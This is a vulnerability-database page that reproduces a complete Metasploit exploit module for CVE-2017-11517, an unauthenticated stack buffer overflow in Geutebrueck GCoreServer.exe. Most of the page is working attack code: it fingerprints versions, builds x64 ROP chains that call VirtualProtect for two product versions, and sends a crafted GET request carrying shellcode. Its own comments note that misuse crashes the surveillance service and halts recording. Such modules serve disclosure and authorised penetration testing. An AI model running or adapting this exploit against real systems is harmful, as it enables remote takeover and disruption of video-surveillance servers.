Lucene search
+L

Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE

🗓️ 24 Jan 2017 00:00:00Reported by Luca Cappiello, Maurice PoppType 
metasploit
 metasploit
🔗 www.rapid7.com👁 86 Views

Exploit stack Buffer Overflow in GCoreServer.exe without authenticatio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Geutebrueck GCore GCoreServer.exe Buffer Overflow Exploit
9 Nov 201700:00
zdt
circl
Circl
CVE-2017-11517
29 May 201815:50
circl
cnvd
CNVD
Geutebrueck Gcore server buffer overflow vulnerability
22 Sep 201700:00
cnvd
cve
CVE
CVE-2017-11517
21 Jul 201720:00
cve
cvelist
Cvelist
CVE-2017-11517
21 Jul 201720:00
cvelist
exploitdb
Exploit DB
Geutebrueck GCore 1.3.8.42/1.4.2.37 - Remote Code Execution (Metasploit)
24 Jan 201700:00
exploitdb
nvd
NVD
CVE-2017-11517
21 Jul 201720:29
nvd
osv
OSV
CVE-2017-11517
21 Jul 201720:29
osv
packetstorm
Packet Storm
Geutebrueck GCore GCoreServer.exe Buffer Overflow
8 Nov 201700:00
packetstorm
prion
Prion
Stack overflow
21 Jul 201720:29
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'
require 'open-uri'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp

  Rank = NormalRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
        'Description'	=> %q{
          This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe).
          The vulnerable webserver is running on Port 13003 and Port 13004, does not require
          authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Luca Cappiello',
          'Maurice Popp'
        ],
        'References' => [
          ['EDB', '41153'],
          ['CVE', '2017-11517'],
          ['URL', 'https://www.geutebrueck.com']
        ],
        'Platform' => 'win',
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
          ['GCore 1.3.8.42, Windows x64 (Win7+)', { 'Arch' => ARCH_X64 }],
          ['GCore 1.4.2.37, Windows x64 (Win7+)', { 'Arch' => ARCH_X64 }]
        ],
        'Payload' => {
          'Space' => '2000'
        },
        'Privileged' => true,
        'DisclosureDate' => '2017-01-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [Opt::RPORT(13003)]
    )
  end

  def fingerprint
    print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
    @doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
    statistics = @doc.css('modulestate')
    statistics.each do |x|
      if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
        mytarget = targets[1]
        print_status("Vulnerable version detected: #{mytarget.name}")
        return Exploit::CheckCode::Appears, mytarget
      elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
        mytarget = targets[2]
        print_status("Vulnerable version detected: #{mytarget.name}")
        return Exploit::CheckCode::Appears, mytarget
      end
    end
    print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
    print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
    print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
    print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
    [Exploit::CheckCode::Unknown, nil]
  end

  def check
    fingerprint
  end

  def ropchain(target)
    rop = ''
    # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
    stack_align = "\x43" * 16

    if target.name.include? '1.3.8.42'
      print_status('Preparing ROP chain for target 1.3.8.42!')

      # 0x140cd00a9 | add rsp, 0x10 ; ret
      # This is needed because the next 16 bytes are sometimes messed up.
      overwrite = [0x140cd00a9].pack('Q<')

      # We have 40 bytes left to align our stack!
      # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
      # and to restore it.
      # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

      # 0x1404e5cbf: mov edx, esp ; ret
      stack_align << [0x1404e5cbf].pack('Q<')

      # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
      # We pop -XXXXX as \xxxxxxxxx to rax
      # 0x14013db94  pop rax ; ret
      stack_align << [0x14013db94].pack('Q<')
      stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')

      # Our value is enough.
      # 0x1407dc547  | add rax,rdx ; ret
      stack_align << [0x1407dc547].pack('Q<')

      # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
      # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
      stack_align << [0x140ce9ac0].pack('Q<')

      # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
      # We want RCX to hold the value for VP Argument "Address of Shellcode"
      # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
      rop << [0x140cc2234].pack('Q<')
      rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
      # 0x1400ae2ae    | POP RDX; RETN
      # 0x...1000      | Value for VP "Size of Memory"
      rop << [0x1400ae2ae].pack('Q<')
      rop << [0x0000000000000400].pack('Q<')

      # 0x14029dc6e:   | POP R8; RET
      # 0x...40        | Value for VP "Execute Permissions"
      rop << [0x14029dc6e].pack('Q<')
      rop << [0x0000000000000040].pack('Q<')

      # 0x1400aa030    | POP R9; RET
      # 0x1409AE1A8 is the .data section of gcore
      rop << [0x1400aa030].pack('Q<')
      rop << [0x1409AE1A8].pack('Q<')

      # 0x140b5927a: xor rax, rax ; ret
      rop << [0x140b5927a].pack('Q<')

      # 0x1402ce220 pop rax ; ret
      # 0x140d752b8 | VP Stub IAT Entry
      rop << [0x1402ce220].pack('Q<')
      rop << [0x140d752b8].pack('Q<')

      # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
      rop << [0x1407c6b3b].pack('Q<')

      # 0x140989c41 push rax; ret
      rop << [0x140989c41].pack('Q<')

      # 0x1406d684d jmp rsp
      rop << [0x1406d684d].pack('Q<')

      [rop, overwrite, stack_align]

    elsif target.name.include? '1.4.2.37'
      print_status('Preparing ROP chain for target 1.4.2.37!')

      # 0x140cd9759 | add rsp, 0x10 ; ret
      # This is needed because the next 16 bytes are sometimes messed up.
      overwrite = [0x140cd9759].pack('Q<')

      # We have 40 bytes left to align our stack!
      # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
      # and to restore it.
      # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

      # 0x1404f213f: mov edx, esp ; ret
      stack_align << [0x1404f213f].pack('Q<')

      # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
      # We pop -XXXXX as \xxxxxxxxx to rax
      # 0x14000efa8  pop rax ; ret
      stack_align << [0x14000efa8].pack('Q<')
      stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')

      # Our value is enough.
      # 0x140cdfe65  | add rax,rdx ; ret
      stack_align << [0x140cdfe65].pack('Q<')

      # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
      # 0x140cf3110 | mov rsp, rax ; ..... ; ret
      stack_align << [0x140cf3110].pack('Q<')

      # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
      # We want RCX to hold the value for VP Argument "Address of Shellcode"
      # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
      rop << [0x140ccb984].pack('Q<')
      rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
      # 0x14008f7ec      | POP RDX; RETN
      # 0x...1000        | Value for VP "Size of Memory"
      rop << [0x14008f7ec].pack('Q<')
      rop << [0x0000000000000400].pack('Q<')

      # 0x140a88f81:   | POP R8; RET
      # 0x...40        | Value for VP "Execute Permissions"
      rop << [0x140a88f81].pack('Q<')
      rop << [0x0000000000000040].pack('Q<')

      # 0x1400aa030    | POP R9; RET
      # 0x...          | Value for VP "Writeable location". Not sure if needed?
      # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
      rop << [0x1400aa030].pack('Q<')
      rop << [0x140FB5000].pack('Q<')

      # 0x140ccea2f: xor rax, rax ; et
      rop << [0x140ccea2f].pack('Q<')

      # 0x14000efa8 pop rax ; ret
      # 0x140d83268 | VP Stub IAT Entry
      rop << [0x14000efa8].pack('Q<')
      rop << [0x140d83268].pack('Q<')

      # 0x14095b254 mov rax, qword [rax] ; ret  ;
      rop << [0x14095b254].pack('Q<')

      # 0x140166c46 push rax; ret
      rop << [0x140166c46].pack('Q<')

      # 0x140cfb98d jmp rsp
      rop << [0x140cfb98d].pack('Q<')

      [rop, overwrite, stack_align]

    else
      print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
    end
  end

  def exploit
    if target['auto']
      checkcode, target = fingerprint
      fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
      target_rop, target_overwrite, target_stack_align = ropchain(target)
    else
      print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
      print_status("Selected version: #{self.target.name}")
      target_rop, target_overwrite, target_stack_align = ropchain(self.target)
    end

    begin
      connect
      print_status('Crafting Exploit...')
      exploit = 'GET /'
      exploit << "\x41" * 200
      exploit << target_rop
      exploit << payload.encoded
      exploit << "\x41" * 1823
      exploit << target_overwrite
      exploit << target_stack_align

      print_status('Exploit ready for sending...')
      sock.put(exploit, 'Timeout' => 20)
      print_status('Exploit sent!')
      buf = sock.get_once || ''
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      elog('Exception encountered in \'exploit\'', error: e)
    ensure
      print_status('Closing socket.')
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation